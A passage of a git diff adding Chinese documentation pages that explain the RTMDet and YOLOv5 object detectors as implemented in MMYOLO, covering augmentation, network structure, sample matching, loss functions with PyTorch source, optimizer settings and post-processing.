OTA40.7
TOOD(w/o TAH)40.7
Ours41.3
+

无论是 Resnet50-1x 还是标准的设置下,还是在300epoch + havy augmentation, 相比于 SimOTA 、 OTA 以及 TOOD 中的 TAL 均有提升。

+ + + + + + + + + + + + + + + + + +
300e + Mosaic & MixUPmAP
RTMDet-s + SimOTA43.2
RTMDet-s + DSLA44.5
+

1.4 Loss 设计​

+

参与 Loss 计算的共有两个值:loss_cls 和 loss_bbox,其各自使用的 Loss 方法如下:

+
    +
  • loss_cls:mmdet.QualityFocalLoss
  • +
  • loss_bbox:mmdet.GIoULoss
  • +
+

权重比例是:loss_cls : loss_bbox = 1 : 2

+

QualityFocalLoss​

+

Quality Focal Loss (QFL) 是 Generalized Focal Loss: Learning Qualified and Distributed Bounding Boxes for Dense Object Detection 的一部分。

+
+image +
+

普通的 Focal Loss 公式:

+
{FL}(p) = -(1-p_t)^\gamma\log(p_t),p_t = \begin{cases}
p, & {when} \ y = 1 \\
1 - p, & {when} \ y = 0
\end{cases}
+

其中 {math}y\in{1,0} 指定真实类,{math}p\in[0,1] 表示标签 {math}y = 1 的类估计概率。{math}\gamma 是可调聚焦参数。具体来说,FL 由标准交叉熵部分 {math}-\log(p_t) 和动态比例因子部分 {math}-(1-p_t)^\gamma 组成,其中比例因子 {math}-(1-p_t)^\gamma 在训练期间自动降低简单类对于 loss 的比重,并且迅速将模型集中在困难类上。

+

首先 {math}y = 0 表示质量得分为 0 的负样本,{math}0 < y \leq 1 表示目标 IoU 得分为 y 的正样本。为了针对连续的标签,扩展 FL 的两个部分:

+
    +
  1. 交叉熵部分 {math}-\log(p_t) 扩展为完整版本 {math}-((1-y)\log(1-\sigma)+y\log(\sigma))
  2. +
  3. 比例因子部分 {math}-(1-p_t)^\gamma 被泛化为估计 {math}\gamma 与其连续标签 {math}y 的绝对距离,即 {math}|y-\sigma|^\beta (\beta \geq 0) 。
  4. +
+

结合上面两个部分之后,我们得出 QFL 的公式:

+
{QFL}(\sigma) = -|y-\sigma|^\beta((1-y)\log(1-\sigma)+y\log(\sigma))
+

具体作用是:可以将离散标签的 focal loss 泛化到连续标签上,将 bboxes 与 gt 的 IoU 的作为分类分数的标签,使得分类分数为表征回归质量的分数。

+

MMDetection 实现源码的核心部分:

+
@weighted_loss
def quality_focal_loss(pred, target, beta=2.0):
"""
pred (torch.Tensor): 用形状(N,C)联合表示预测分类和质量(IoU),C是类的数量。
target (tuple([torch.Tensor])): 目标类别标签的形状为(N,),目标质量标签的形状是(N,,)。
beta (float): 计算比例因子的 β 参数.
"""
...

# label表示类别id,score表示质量分数
label, score = target

# 负样本质量分数0来进行监督
pred_sigmoid = pred.sigmoid()
scale_factor = pred_sigmoid
zerolabel = scale_factor.new_zeros(pred.shape)

# 计算交叉熵部分的值
loss = F.binary_cross_entropy_with_logits(
pred, zerolabel, reduction='none') * scale_factor.pow(beta)

# 得出 IoU 在区间 (0,1] 的 bbox
# FG cat_id: [0, num_classes -1], BG cat_id: num_classes
bg_class_ind = pred.size(1)
pos = ((label >= 0) & (label < bg_class_ind)).nonzero().squeeze(1)
pos_label = label[pos].long()

# 正样本由 IoU 范围在 (0,1] 的 bbox 来监督
# 计算动态比例因子
scale_factor = score[pos] - pred_sigmoid[pos, pos_label]

# 计算两部分的 loss
loss[pos, pos_label] = F.binary_cross_entropy_with_logits(
pred[pos, pos_label], score[pos],
reduction='none') * scale_factor.abs().pow(beta)

# 得出最终 loss
loss = loss.sum(dim=1, keepdim=False)
return loss
+

GIoULoss​

+

论文:Generalized Intersection over Union: A Metric and A Loss for Bounding Box Regression

+

GIoU Loss 用于计算两个框重叠区域的关系,重叠区域越大,损失越小,反之越大。而且 GIoU 是在 [0,2] 之间,因为其值被限制在了一个较小的范围内,所以网络不会出现剧烈的波动,证明了其具有比较好的稳定性。

+

下图是基本的实现流程图:

+
+image +
+

MMDetection 实现源码的核心部分:

+
def bbox_overlaps(bboxes1, bboxes2, mode='iou', is_aligned=False, eps=1e-6):
...

# 求两个区域的面积
area1 = (bboxes1[..., 2] - bboxes1[..., 0]) * (
bboxes1[..., 3] - bboxes1[..., 1])
area2 = (bboxes2[..., 2] - bboxes2[..., 0]) * (
bboxes2[..., 3] - bboxes2[..., 1])

if is_aligned:
# 得出两个 bbox 重合的左上角 lt 和右下角 rb
lt = torch.max(bboxes1[..., :2], bboxes2[..., :2]) # [B, rows, 2]
rb = torch.min(bboxes1[..., 2:], bboxes2[..., 2:]) # [B, rows, 2]

# 求重合面积
wh = fp16_clamp(rb - lt, min=0)
overlap = wh[..., 0] * wh[..., 1]

if mode in ['iou', 'giou']:
...
else:
union = area1
if mode == 'giou':
# 得出两个 bbox 最小凸闭合框的左上角 lt 和右下角 rb
enclosed_lt = torch.min(bboxes1[..., :2], bboxes2[..., :2])
enclosed_rb = torch.max(bboxes1[..., 2:], bboxes2[..., 2:])
else:
...

# 求重合面积 / gt bbox 面积 的比率,即 IoU
eps = union.new_tensor([eps])
union = torch.max(union, eps)
ious = overlap / union

...

# 求最小凸闭合框面积
enclose_wh = fp16_clamp(enclosed_rb - enclosed_lt, min=0)
enclose_area = enclose_wh[..., 0] * enclose_wh[..., 1]
enclose_area = torch.max(enclose_area, eps)

# 计算 giou
gious = ious - (enclose_area - union) / enclose_area
return gious

@weighted_loss
def giou_loss(pred, target, eps=1e-7):
gious = bbox_overlaps(pred, target, mode='giou', is_aligned=True, eps=eps)
loss = 1 - gious
return loss
+

1.5 优化策略和训练过程​

+
+ +
+

1.6 推理和后处理过程​

+
+ +
+

(1) 特征图输入

+

预测的图片输入大小为 640 x 640, 通道数为 3 ,经过 CSPNeXt, CSPNeXtPAFPN 层的 8 倍、16 倍、32 倍下采样得到 80 x 80, 40 x 40, 20 x 20 三个尺寸的特征图。以 rtmdet-l 模型为例,此时三层通道数都为 256,经过 bbox_head 层得到两个分支,分别为 rtm_cls 类别预测分支,将通道数从 256 变为 80,80 对应所有类别数量; rtm_reg 边框回归分支将通道数从 256 变为 4,4 代表框的坐标。

+

(2) 初始化网格

+

根据特征图尺寸初始化三个网格,大小分别为 6400 (80 x 80)、1600 (40 x 40)、400 (20 x 20),如第一个层 shape 为 torch.Size([ 6400, 2 ]),最后一个维度是 2,为网格点的横纵坐标,而 6400 表示当前特征层的网格点数量。

+

(3) 维度变换

+

经过 _predict_by_feat_single 函数,将从 head 提取的单一图像的特征转换为 bbox 结果输入,得到三个列表 cls_score_list,bbox_pred_list,mlvl_priors,详细大小如图所示。之后分别遍历三个特征层,分别对 class 类别预测分支、bbox 回归分支进行处理。以第一层为例,对 bbox 预测分支 [ 4,80,80 ] 维度变换为 [ 6400,4 ],对类别预测分支 [ 80,80,80 ] 变化为 [ 6400,80 ],并对其做归一化,确保类别置信度在 0 - 1 之间。

+

(4) 阈值过滤

+

先使用一个 nms_pre 操作,先过滤大部分置信度比较低的预测结果(比如 score_thr 阈值设置为 0.05,则去除当前预测置信度低于 0.05 的结果),然后得到 bbox 坐标、所在网格的坐标、置信度、标签的信息。经过三个特征层遍历之后,分别整合这三个层得到的的四个信息放入 results 列表中。

+

(5) 还原到原图尺度

+

最后将网络的预测结果映射到整图当中,得到 bbox 在整图中的坐标值

+

(6) NMS

+

进行 nms 操作,最终预测得到的返回值为经过后处理的每张图片的检测结果,包含分类置信度,框的 labels,框的四个坐标

+

2 总结​

+

本文对 RTMDet 原理和在 MMYOLO 实现进行了详细解析,希望能帮助用户理解算法实现过程。同时请注意:由于 RTMDet 本身也在不断更新, +本开源库也会不断迭代,请及时阅读和同步最新版本。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html new file mode 100644 index 0000000..bf52322 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html @@ -0,0 +1,366 @@ + + + + + +yolov5_description.md | wjlin0 + + + + + + + +

yolov5_description.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

YOLOv5 原理和实现全解析

+

0 简介​

+
+YOLOv5_structure_v3.4 +
+

以上结构图由 RangeKing@github 绘制。

+

YOLOv5 是一个面向实时工业应用而开源的目标检测算法,受到了广泛关注。我们认为让 YOLOv5 爆火的原因不单纯在于 YOLOv5 算法本身的优异性,更多的在于开源库的实用和鲁棒性。简单来说 YOLOv5 开源库的主要特点为:

+
    +
  1. 友好和完善的部署支持
  2. +
  3. 算法训练速度极快,在 300 epoch 情况下训练时长和大部分 one-stage 算法如 RetinaNet、ATSS 和 two-stage 算法如 Faster R-CNN 在 12 epoch 的训练时间接近
  4. +
  5. 框架进行了非常多的 corner case 优化,功能和文档也比较丰富
  6. +
+

本文将从 YOLOv5 算法本身原理讲起,然后重点分析 MMYOLO 中的实现。关于 YOLOv5 的使用指南和速度等对比请阅读本文的后续内容。

+

希望本文能够成为你入门和掌握 YOLOv5 的核心文档。由于 YOLOv5 本身也在不断迭代更新,我们也会不断的更新本文档。请注意阅读最新版本。

+

MMYOLO 实现配置:https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/

+

YOLOv5 官方开源库地址:https://github.com/ultralytics/yolov5

+

1 v6.1 算法原理和 MMYOLO 实现解析​

+

YOLOv5 官方 release 地址:https://github.com/ultralytics/yolov5/releases/tag/v6.1

+
+YOLOv5精度图 +
+
+YOLOv5精度速度图 +
+

性能如上表所示。YOLOv5 有 P5 和 P6 两个不同训练输入尺度的模型,P6 即为 1280x1280 输入的大模型,通常用的是 P5 常规模型,输入尺寸是 640x640 。本文解读的也是 P5 模型结构。

+

通常来说,目标检测算法都可以分成数据增强、模型结构、loss 计算等组件,YOLOv5 也一样,如下所示:

+
+训练测试策略 +
+

下面将从原理和结合 MMYOLO 的具体实现方面进行简要分析。

+

1.1 数据增强模块​

+

YOLOv5 目标检测算法中使用的数据增强比较多,包括:

+
    +
  • Mosaic 马赛克
  • +
  • RandomAffine 随机仿射变换
  • +
  • MixUp
  • +
  • 图像模糊等采用 Albu 库实现的变换
  • +
  • HSV 颜色空间增强
  • +
  • 随机水平翻转
  • +
+

其中 Mosaic 数据增强概率为 1,表示一定会触发,而对于 small 和 nano 两个版本的模型不使用 MixUp,其他的 l/m/x 系列模型则采用了 0.1 的概率触发 MixUp。小模型能力有限,一般不会采用 MixUp 等强数据增强策略。

+

其核心的 Mosaic + RandomAffine + MixUp 过程简要绘制如下:

+
+image +
+

下面对其进行简要分析。

+

1.1.1 Mosaic 马赛克​

+
+image +
+

Mosaic 属于混合类数据增强,因为它在运行时候需要 4 张图片拼接,变相的相当于增加了训练的 batch size。其运行过程简要概况为:

+
    +
  1. 随机生成拼接后 4 张图的交接中心点坐标,此时就相当于确定了 4 张拼接图片的交接点
  2. +
  3. 随机选出另外 3 张图片的索引以及读取对应的标注
  4. +
  5. 对每张图片采用保持宽高比的 resize 操作将其缩放到指定大小
  6. +
  7. 按照上下左右规则,计算每张图片在待输出图片中应该放置的位置,因为图片可能出界故还需要计算裁剪坐标
  8. +
  9. 利用裁剪坐标将缩放后的图片裁剪,然后贴到前面计算出的位置,其余位置全部补 114 像素值
  10. +
  11. 对每张图片的标注也进行相应处理
  12. +
+

注意:由于拼接了 4 张图,所以输出图片面积会扩大 4 倍,从 640x640 变成 1280x1280,因此要想恢复为 640x640, +必须要再接一个 RandomAffine 随机仿射变换,否则图片面积就一直是扩大 4 倍的。

+

1.1.2 RandomAffine 随机仿射变换​

+
+image +
+

随机仿射变换有两个目的:

+
    +
  1. 对图片进行随机几何仿射变换
  2. +
  3. 将 Mosaic 输出的扩大 4 倍的图片还原为 640x640 尺寸
  4. +
+

随机仿射变换包括平移、旋转、缩放、错切等几何增强操作,同时由于 Mosaic 和 RandomAffine 属于比较强的增强操作,会引入较大噪声,因此需要对增强后的标注进行处理,过滤规则为:

+
    +
  1. 增强后的 gt bbox 宽高要大于 wh_thr
  2. +
  3. 增强后的 gt bbox 面积和增强前的 gt bbox 面积比要大于 ar_thr,防止增强太严重
  4. +
  5. 最大宽高比要小于 area_thr,防止宽高比改变太多
  6. +
+

由于旋转后标注框会变大导致不准确,因此目标检测里面很少会使用旋转数据增强。

+

1.1.3 MixUp​

+
+image +
+

MixUp 和 Mosaic 类似也属于混合图片类增强方法。随机选出另外一张图后将两图再随机混合。具体实现方法有多种,常见的做法是要么将 label 直接拼接起来,要么将 label 也采用 alpha 方法混合。原作者的做法非常简单,对 label 即直接拼接,而图片通过分布采样混合。

+

需要特别注意的是: +YOLOv5 实现的 MixUp 中,随机出来的另一张图也需要经过 Mosaic 马赛克 + RandomAffine 随机仿射变换 的增强后才能混合。这个和其他开源库实现可能不太一样。

+

1.1.4 图像模糊和其他数据增强策略​

+
+image +
+

剩下的数据增强包括

+
    +
  • 图像模糊等采用 Albu 库实现的变换
  • +
  • HSV 颜色空间增强
  • +
  • 随机水平翻转
  • +
+

MMDetection 开源库中已经对 Albu 第三方数据增强库进行了封装,使用户可以简单的通过配置即可使用 Albu 库中提供的任何数据增强功能。而 HSV 颜色空间增强和随机水平翻转都是属于比较常规的数据增强,不需要特殊介绍。

+

1.1.5 MMYOLO 实现解析​

+

常规的单图数据增强例如随机翻转等比较容易实现,而 Mosaic 类的混合数据增强则不太容易。在 MMDetection 复现的 YOLOX 算法中提出了 MultiImageMixDataset 数据集包装器的概念,其实现过程如下:

+
+image +
+

对于 Mosaic 等混合类数据增强策略,会需要额外实现一个 get_indexes 方法来获取其他图片索引,然后用得到的 4 张图片信息就可以进行 Mosaic 增强了。 +以 MMDetection 中实现的 YOLOX 为例,其配置文件写法如下所示:

+
train_pipeline = [
dict(type='Mosaic', img_scale=img_scale, pad_val=114.0),
dict(
type='RandomAffine',
scaling_ratio_range=(0.1, 2),
border=(-img_scale[0] // 2, -img_scale[1] // 2)),
dict(
type='MixUp',
img_scale=img_scale,
ratio_range=(0.8, 1.6),
pad_val=114.0),
...
]

train_dataset = dict(
# use MultiImageMixDataset wrapper to support mosaic and mixup
type='MultiImageMixDataset',
dataset=dict(
type='CocoDataset',
pipeline=[
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]),
pipeline=train_pipeline)
+

MultiImageMixDataset 数据集包装器传入一个包括 Mosaic 和 RandAffine 等数据增强,而 CocoDataset 中也需要传入一个包括图片和标注加载的 pipeline。通过这种方式就可以快速的实现混合类数据增强。

+

但是上述实现有一个缺点: +对于不熟悉 MMDetection 的用户来说,其经常会忘记 Mosaic 必须要和 MultiImageMixDataset 配合使用,否则会报错,而且这样会加大复杂度和理解难度。

+

为了解决这个问题,在 MMYOLO 中我们进一步进行了简化。直接让 pipeline 能够获取到 dataset 对象,此时就可以将 Mosaic 等混合类数据增强的实现和使用变成和随机翻转一样。 +此时在 MMYOLO 中 YOLOX 的配置写法变成如下所示:

+
pre_transform = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]

train_pipeline = [
*pre_transform,
dict(
type='Mosaic',
img_scale=img_scale,
pad_val=114.0,
pre_transform=pre_transform),
dict(
type='mmdet.RandomAffine',
scaling_ratio_range=(0.1, 2),
border=(-img_scale[0] // 2, -img_scale[1] // 2)),
dict(
type='YOLOXMixUp',
img_scale=img_scale,
ratio_range=(0.8, 1.6),
pad_val=114.0,
pre_transform=pre_transform),
...
]
+

这样就不再需要 MultiImageMixDataset 了,使用和理解上会更加简单。

+

回到 YOLOv5 配置上,因为 YOLOv5 实现的 MixUp 中,随机选出来的另一张图也需要经过 Mosaic 马赛克+RandomAffine 随机仿射变换 增强后才能混合,故YOLOv5-m 数据增强配置如下所示:

+
pre_transform = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]

mosaic_transform= [
dict(
type='Mosaic',
img_scale=img_scale,
pad_val=114.0,
pre_transform=pre_transform),
dict(
type='YOLOv5RandomAffine',
max_rotate_degree=0.0,
max_shear_degree=0.0,
scaling_ratio_range=(0.1, 1.9), # scale = 0.9
border=(-img_scale[0] // 2, -img_scale[1] // 2),
border_val=(114, 114, 114))
]

train_pipeline = [
*pre_transform,
*mosaic_transform,
dict(
type='YOLOv5MixUp',
prob=0.1,
pre_transform=[
*pre_transform,
*mosaic_transform
]),
...
]
+

1.2 网络结构​

+

本小结由 RangeKing@github 撰写,非常感谢!!!

+

YOLOv5 网络结构是标准的 CSPDarknet + PAFPN + 非解耦 Head。

+

YOLOv5 网络结构大小由 deepen_factor 和 widen_factor 两个参数决定。其中 deepen_factor 控制网络结构深度,即 CSPLayer 中 DarknetBottleneck 模块堆叠的数量;widen_factor 控制网络结构宽度,即模块输出特征图的通道数。以 YOLOv5-l 为例,其 deepen_factor = widen_factor = 1.0 ,整体结构图如上所示。

+

图的上半部分为模型总览;下半部分为具体网络结构,其中的模块均标有序号,方便用户与 YOLOv5 官方仓库的配置文件对应;中间部分为各子模块的具体构成。

+

如果想使用 netron 可视化网络结构图细节,可以直接在 netron 中将 MMDeploy 导出的 ONNX 文件格式文件打开。

+

1.2.1 Backbone​

+

在 MMYOLO 中 CSPDarknet 继承自 BaseBackbone,整体结构和 ResNet 类似,共 5 层结构,包含 1 个 Stem Layer 和 4 个 Stage Layer:

+
    +
  • Stem Layer 是 1 个 6x6 kernel 的 ConvModule,相较于 v6.1 版本之前的 Focus 模块更加高效。
  • +
  • 前 3 个 Stage Layer 均由 1 个 ConvModule 和 1 个 CSPLayer 组成。如上图 Details 部分所示。 +其中 ConvModule 为 3x3的 Conv2d + BatchNorm + SiLU 激活函数。CSPLayer 即 YOLOv5 官方仓库中的 C3 模块,由 3 个 ConvModule + n 个 DarknetBottleneck(带残差连接) 组成。
  • +
  • 第 4 个 Stage Layer 在最后增加了 SPPF 模块。SPPF 模块是将输入串行通过多个 5x5 大小的 MaxPool2d 层,与 SPP 模块效果相同,但速度更快。
  • +
  • P5 模型结构会在 Stage Layer 2-4 之后分别输出一个特征图进入 Neck 结构。以 640x640 输入图片为例,其输出特征为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20),对应的 stride 分别为 8/16/32。
  • +
+

1.2.2 Neck​

+

YOLOv5 官方仓库的配置文件中并没有 Neck 部分,为方便用户与其他目标检测网络结构相对应,我们将官方仓库的 Head 拆分成 PAFPN 和 Head 两部分。

+

基于 BaseYOLONeck 结构,YOLOv5 Neck 也是遵循同一套构建流程,对于不存在的模块,我们采用 nn.Identity 代替。

+

Neck 模块输出的特征图和 Backbone 完全一致即为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20)。

+

1.2.3 Head​

+

YOLOv5 Head 结构和 YOLOv3 完全一样,为 非解耦 Head。Head 模块只包括 3 个不共享权重的卷积,用于将输入特征图进行变换而已。

+

前面的 PAFPN 依然是输出 3 个不同尺度的特征图,shape 为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20)。 +由于 YOLOv5 是非解耦输出,即分类和 bbox 检测等都是在同一个卷积的不同通道中完成。以 COCO 80 类为例,在输入为 640x640 分辨率情况下,其 Head 模块输出的 shape 分别为 (B, 3x(4+1+80),80,80), (B, 3x(4+1+80),40,40) 和 (B, 3x(4+1+80),20,20)。其中 3 表示 3 个 anchor,4 表示 bbox 预测分支,1 表示 obj 预测分支,80 表示 COCO 数据集类别预测分支。

+

1.3 正负样本匹配策略​

+

正负样本匹配策略的核心是确定预测特征图的所有位置中哪些位置应该是正样本,哪些是负样本,甚至有些是忽略样本。 +匹配策略是目标检测算法的核心,一个好的匹配策略可以显著提升算法性能。

+

YOLOV5 的匹配策略简单总结为:采用了 anchor 和 gt_bbox 的 shape 匹配度作为划分规则,同时引入跨邻域网格策略来增加正样本。 +其主要包括如下两个核心步骤:

+
    +
  1. 对于任何一个输出层,抛弃了常用的基于 Max IoU 匹配的规则,而是直接采用 shape 规则匹配,也就是该 GT Bbox 和当前层的 Anchor 计算宽高比,如果宽高比例大于设定阈值,则说明该 GT Bbox 和 Anchor 匹配度不够,将该 GT Bbox 暂时丢掉,在该层预测中该 GT Bbox 对应的网格内的预测位置认为是负样本
  2. +
  3. 对于剩下的 GT Bbox(也就是匹配上的 GT Bbox),计算其落在哪个网格内,同时利用四舍五入规则,找出最近的两个网格,将这三个网格都认为是负责预测该 GT Bbox 的,可以粗略估计正样本数相比之前的 YOLO 系列,至少增加了三倍
  4. +
+

下面会对每个部分进行详细说明,部分描述和图示直接或间接参考自官方 Repo。

+

1.3.1 Anchor 设置​

+

YOLOv5 是 Anchor-based 的目标检测算法,其 Anchor size 的获取方式与 YOLOv3 类似,也是使用聚类获得,其不同之处在于聚类使用的标准不再是基于 IoU 的,而是使用形状上的宽高比作为聚类准则(即 shape-match )。

+

在用户更换了数据集后,可以使用 MMYOLO 里带有的 Anchor 分析工具,对自己的数据集进行分析,确定合适的 Anchor size。

+
python tools/analysis_tools/optimize_anchors.py ${CONFIG} --algorithm v5-k-means
--input-shape ${INPUT_SHAPE [WIDTH HEIGHT]} --output-dir ${OUTPUT_DIR}
+

然后在 config 文件 里修改默认 Anchor size:

+
anchors = [[(10, 13), (16, 30), (33, 23)], [(30, 61), (62, 45), (59, 119)],
[(116, 90), (156, 198), (373, 326)]]
+

1.3.2 Bbox 编解码过程​

+

在 Anchor-based 算法中,预测框通常会基于 Anchor 进行变换,然后预测变换量,这对应 GT Bbox 编码过程,而在预测后需要进行 Pred Bbox 解码,还原为真实尺度的 Bbox,这对应 Pred Bbox 解码过程。

+

在 YOLOv3 中,回归公式为:

+
b_x=\sigma(t_x)+c_x  \\
b_y=\sigma(t_y)+c_y \\
b_w=a_w\cdot e^{t_w} \\
b_h=a_h\cdot e^{t_h} \\
+

公式中,

+
a_w 代表 Anchor 的宽度 \\
c_x 代表 Grid 所处的坐标 \\
\sigma 代表 Sigmoid 公式。
+

而在 YOLOv5 中,回归公式为:

+
b_x=(2\cdot\sigma(t_x)-0.5)+c_x   \\
b_y=(2\cdot\sigma(t_y)-0.5)+c_y \\
b_w=a_w\cdot(2\cdot\sigma(t_w))^2 \\
b_h=a_h\cdot(2\cdot\sigma(t_h))^2
+

改进之处主要有以下两点:

+
    +
  • 中心点坐标范围从 (0, 1) 调整至 (-0.5, 1.5)
  • +
  • 宽高范围从
  • +
+
(0,+\infty)
+

调整至

+
(0,4a_{wh})
+

这个改进具有以下好处:

+
    +
  • 新的中心点设置能更好的预测到 0 和 1。这有助于更精准回归出 box 坐标。
  • +
+
+image +
+
    +
  • 宽高回归公式中 exp(x) 是无界的,这会导致梯度失去控制,造成训练不稳定。YOLOv5 中改进后的宽高回归公式优化了此问题。
  • +
+
+image +
+

1.3.3 匹配策略​

+

在 MMYOLO 设计中,无论网络是 Anchor-based 还是 Anchor-free,我们统一使用 prior 称呼 Anchor。

+

正样本匹配包含以下两步:

+

(1) “比例”比较

+

将 GT Bbox 的 WH 与 Prior 的 WH 进行“比例”比较。

+

比较流程:

+
r_w = w\_{gt} / w\_{pt}    \\
r_h = h\_{gt} / h\_{pt} \\
r_w^{max}=max(r_w, 1/r_w) \\
r_h^{max}=max(r_h, 1/r_h) \\
r^{max}=max(r_w^{max}, r_h^{max}) \\
if\ \ r_{max} < prior\_match\_thr: match!
+

此处我们用一个 GT Bbox 与 P3 特征图的 Prior 进行匹配的案例进行讲解和图示:

+
+image +
+

prior1 匹配失败的原因是

+
h\_{gt}\ /\ h\_{prior}\ =\ 4.8\ >\ prior\_match\_thr
+

(2) 为步骤 1 中 match 的 GT 分配对应的正样本

+

依然沿用上面的例子:

+

GT Bbox (cx, cy, w, h) 值为 (26, 37, 36, 24),

+

Prior WH 值为 [(15, 5), (24, 16), (16, 24)],在 P3 特征图上,stride 为 8。通过计算,prior2 和 prior3 能够 match。

+

计算过程如下:

+

(2.1) 将 GT Bbox 的中心点坐标对应到 P3 的 grid 上

+
GT_x^{center_grid}=26/8=3.25  \\
GT_y^{center_grid}=37/8=4.625
+
+image +
+

(2.2) 将 GT Bbox 中心点所在的 grid 分成四个象限,由于中心点落在了左下角的象限当中,那么会将物体的左、下两个 grid 也认为是正样本

+
+image +
+

下图展示中心点落到不同位置时的正样本分配情况:

+
+image +
+

那么 YOLOv5 的 Assign 方式具体带来了哪些改进?

+
    +
  • +

    一个 GT Bbox 能够匹配多个 Prior

    +
  • +
  • +

    一个 GT Bbox 和一个Prior 匹配时,能分配 1-3 个正样本

    +
  • +
  • +

    以上策略能适度缓解目标检测中常见的正负样本不均衡问题。

    +
  • +
+

而 YOLOv5 中的回归方式,和 Assign 方式是相互呼应的:

+
    +
  1. 中心点回归方式:
  2. +
+
+image +
+
    +
  1. WH 回归方式:
  2. +
+
+image +
+

1.4 Loss 设计​

+

YOLOv5 中总共包含 3 个 Loss,分别为:

+
    +
  • Classes loss:使用的是 BCE loss
  • +
  • Objectness loss:使用的是 BCE loss
  • +
  • Location loss:使用的是 CIoU loss
  • +
+

三个 loss 按照一定比例汇总:

+
Loss=\lambda_1L_{cls}+\lambda_2L_{obj}+\lambda_3L_{loc}
+

P3、P4、P5 层对应的 Objectness loss 按照不同权重进行相加,默认的设置是

+
obj_level_weights=[4., 1., 0.4]
+
L_{obj}=4.0\cdot L_{obj}^{small}+1.0\cdot L_{obj}^{medium}+0.4\cdot L_{obj}^{large}
+

在复现中我们发现 YOLOv5 中使用的 CIoU 与目前最新官方 CIoU 存在一定的差距,差距体现在 alpha 参数的计算。

+

官方版本:

+

参考资料:https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55

+
alpha = (ious > 0.5).float() * v / (1 - ious + v)
+

YOLOv5 版本:

+
alpha = v / (v - ious + (1 + eps))
+

这是一个有趣的细节,后续需要测试不同 alpha 计算方式情况下带来的精度差距。

+

1.5 优化策略和训练过程​

+

YOLOv5 对每个优化器的参数组进行非常精细的控制,简单来说包括如下部分。

+

1.5.1 优化器分组​

+

将优化参数分成 Conv/Bias/BN 三组,在 WarmUp 阶段,不同组采用不同的 lr 以及 momentum 更新曲线。 +同时在 WarmUp 阶段采用的是 iter-based 更新策略,而在非 WarmUp 阶段则变成 epoch-based 更新策略,可谓是 trick 十足。

+

MMYOLO 中是采用 YOLOv5OptimizerConstructor 优化器构造器实现优化器参数分组。优化器构造器的作用就是对一些特殊的参数组初始化过程进行精细化控制,因此可以很好的满足需求。

+

而不同的参数组采用不同的调度曲线功能则是通过 YOLOv5ParamSchedulerHook 实现。而不同的参数组采用不同的调度曲线功能则是通过 YOLOv5ParamSchedulerHook 实现。

+

1.5.2 weight decay 参数自适应​

+

作者针对不同的 batch size 采用了不同的 weight decay 策略,具体来说为:

+
    +
  1. 当训练 batch size <= 64 时,weight decay 不变
  2. +
  3. 当训练 batch size > 64 时,weight decay 会根据总 batch size 进行线性缩放
  4. +
+

MMYOLO 也是通过 YOLOv5OptimizerConstructor 实现。

+

1.5.3 梯度累加​

+

为了最大化不同 batch size 情况下的性能,作者设置总 batch size 小于 64 时候会自动开启梯度累加功能。

+

训练过程和大部分 YOLO 类似,包括如下策略:

+
    +
  1. 没有使用预训练权重
  2. +
  3. 没有采用多尺度训练策略,同时可以开启 cudnn.benchmark 进一步加速训练
  4. +
  5. 使用了 EMA 策略平滑模型
  6. +
  7. 默认采用 AMP 自动混合精度训练
  8. +
+

需要特意说明的是:YOLOv5 官方对于 small 模型是采用单卡 v100 训练,bs 为 128,而 m/l/x 等是采用不同数目的多卡实现的, +这种训练策略不太规范,为此在 MMYOLO 中全部采用了 8 卡,每卡 16 bs 的设置,同时为了避免性能差异,训练时候开启了 SyncBN。

+

1.6 推理和后处理过程​

+

YOLOv5 后处理过程和 YOLOv3 非常类似,实际上 YOLO 系列的后处理逻辑都是类似的。

+

1.6.1 核心控制参数​

+
    +
  1. multi_label
  2. +
+

对于多类别预测来说需要考虑是否是多标签任务,也就是同一个预测位置会预测的多个类别概率,和是否当作单类处理。因为 YOLOv5 采用 sigmoid 预测模式,在考虑多标签情况下可能会出现一个物体检测出两个不同类别的框,这有助于评估指标 mAP,但是不利于实际应用。 +因此在需要算评估指标时候 multi_label 是 True,而推理或者实际应用时候是 False

+
    +
  1. score_thr 和 nms_thr
  2. +
+

score_thr 阈值用于过滤类别分值,低于分值的检测框当做背景处理,nms_thr 是 nms 时阈值。同样的,在计算评估指标 mAP 阶段可以将 score_thr 设置的非常低,这通常能够提高召回率,从而提升 mAP,但是对于实际应用来说没有意义,且会导致推理过程极慢。为此在测试和推理阶段会设置不同的阈值

+
    +
  1. nms_pre 和 max_per_img
  2. +
+

nms_pre 表示 nms 前的最大保留检测框数目,这通常是为了防止 nms 运行时候输入框过多导致速度过慢问题,默认值是 30000。 +max_per_img 表示最终保留的最大检测框数目,通常设置为 300。

+

以 COCO 80 类为例,假设输入图片大小为 640x640

+
+image +
+

其推理和后处理过程为:

+

(1) 维度变换

+

YOLOv5 输出特征图尺度为 80x80、40x40 和 20x20 的三个特征图,每个位置共 3 个 anchor,因此输出特征图通道为 3x(5+80)=255。 +YOLOv5 是非解耦输出头,而其他大部分算法都是解耦输出头,为了统一后处理逻辑,我们提前将其进行解耦,分成了类别预测分支、bbox 预测分支和 obj 预测分支。

+

将三个不同尺度的类别预测分支、bbox 预测分支和 obj 预测分支进行拼接,并进行维度变换。为了后续方便处理,会将原先的通道维度置换到最后,类别预测分支、bbox 预测分支和 obj 预测分支的 shape 分别为 (b, 3x80x80+3x40x40+3x20x20, 80)=(b,25200,80),(b,25200,4),(b,25200,1)。

+

(2) 解码还原到原图尺度

+

